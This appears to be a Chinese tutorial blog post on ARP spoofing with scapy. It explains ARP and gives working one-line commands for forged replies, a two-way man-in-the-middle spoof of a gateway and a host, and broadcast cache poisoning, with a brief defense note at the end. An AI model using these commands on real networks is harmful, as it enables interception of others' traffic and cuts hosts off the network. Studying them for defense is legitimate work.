scapy学习arp欺骗

  在以太网协议中规定,同一局域网中的一台主机要和另一台主机进行直接通信,必须要知道目标主机的MAC地址。于是需要一种方法,根据目的主机的IP地址,获得其MAC地址。这就是ARP协议要做的事情。所谓地址解析(address resolution)就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。
  地址解析协议是建立在网络中各个主机互相信任的基础上的,网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存;由此攻击者就可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗。
  arp欺骗分为单向欺骗和双向欺骗。单向欺骗主要是欺骗网关,可以截获从网关从受害主机的通讯内容,但是受害主机到网关的通讯是正常的。双向欺骗则同时欺骗网关和受害主机,可以同时截获网关和受害主机双向的通讯内容。 从代码实现上讲,双向欺骗只是在单向欺骗的基础上换一个参数。

  1. arp报文结构
      硬件类型:指明了发送方想知道的硬件接口类型,以太网的值为1;
      协议类型:指明了发送方提供的高层协议类型,IP为0800(16进制);
      硬件地址长度和协议长度:指明了硬件地址和高层协议地址的长度,这样ARP报文就可以在任意硬件和任意协议的网络中使用;
      操作类型:用来表示这个报文的类型,ARP请求为1,ARP响应为2,RARP请求为3,RARP响应为4;
      发送方硬件地址:源主机MAC地址
      发送方IP地址:源主机IP地址
      目标硬件地址:目的主机MAC地址
      目标IP地址:目的主机IP地址
      
  2. scapy发送arp请求报文
    res=sr1(ARP(pdst="192.168.1.101")) 查询局域网主机mac地址
    res.hwsrc # ac:c1:ee:31:1b:e6 主机回复的mac地址
    wireshark抓包的请求报文
    这里写图片描述
    从wireshark抓包来看,arp请求报文一般是一个广播包,操作码为1。 

  3. sapy发送arp应答报文
     注意arp应答报文的操作码为2。
     send(ARP(pdst="192.168.1.101",op=2)) 主动通知101主机当前机器的ip和MAC地址
     这里写图片描述

  4. scapy发送虚假应答报文
      因为目标主机并不会针对arp的应答报文做有效性检测,因为我们可以主动发送一个虚假的arp应答报文给受害主机以达到欺骗的目的。
    srloop(ARP(psrc="192.168.1.101",hwsrc="11:22:33:44:55:66",pdst="192.168.1.1",op=2))
    主动告知网关192.168.1.101的MAC地址是11:22:33:44:55:66,并循环发送。经过此行代码,101主机将无法连接外网。

  5. 双向欺骗
     arp欺骗最主要的目的是截获数据,下面将进行路由器和主机的双向欺骗,并使用wireshark抓取数据包。
     当前路由器的ip地址是192.168.1.1,MAC地址是24:69:68:49:67:e0
     本机ip是192.168.1.106,MAC地址是e0:94:67:79:17:2e
     目标机器ip是192.168.1.101,MAC地址是ac:c1:ee:31:1b:e6。
    srploop(Ether(dst="ac:c1:ee:31:1b:e6")/ARP(psrc="192.168.1.1",hwsrc="e0:94:67:79:17:2e",pdst="192.168.1.101",hwdst="ac:c1:ee:31:1b:e6",op=2)) 欺骗101主机本机是网关。
    srploop(Ether(dst="24:69:68:49:67:e0")/ARP(psrc="192.168.1.101",hwsrc="e0:94:67:79:17:2e",pdst="192.168.1.1",hwdst="24:69:68:49:67:e0",op=2)) 欺骗网关本机是101主机
    经过上述命令,wireshark可以根据ip.addr==192.168.1.101规则解惑通讯信息。
    这里写图片描述

  6. 应答广播包欺骗局域网所有机器
    srploop(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(hwsrc="00:e0:70:52:54:26",psrc="192.168.200.1",op=2))
    将数据链路层的目标MAC地址置为全ff,此时该消息的接收者将只关注hwsrc和psrc信息,更新本地arp缓存。

  7. 方便快捷的arp攻击工具
     ettercap + wireshark
     

  8. 防御ARP攻击
     路由器与各主机ip进行MAC双向绑定。
  • 4
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值